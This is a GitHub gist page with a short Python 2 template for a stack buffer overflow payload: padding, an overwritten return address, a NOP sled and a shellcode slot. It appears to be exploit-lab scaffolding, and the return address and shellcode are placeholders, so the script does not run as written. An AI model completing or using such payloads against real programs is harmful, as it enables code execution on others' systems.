Skip to content

Instantly share code, notes, and snippets.

@awave1
Created October 15, 2019 00:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save awave1/f7b50bc9600e1e8331e19aa7b5b9eec9 to your computer and use it in GitHub Desktop.
Save awave1/f7b50bc9600e1e8331e19aa7b5b9eec9 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
import struct
pad = 'a' * 96
addr = struct.pack('L', 0xreturn_addr + 50)
nops = '\x90' * 100
shellcode = "copy it here"
print pad + addr + nops + shellcode
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment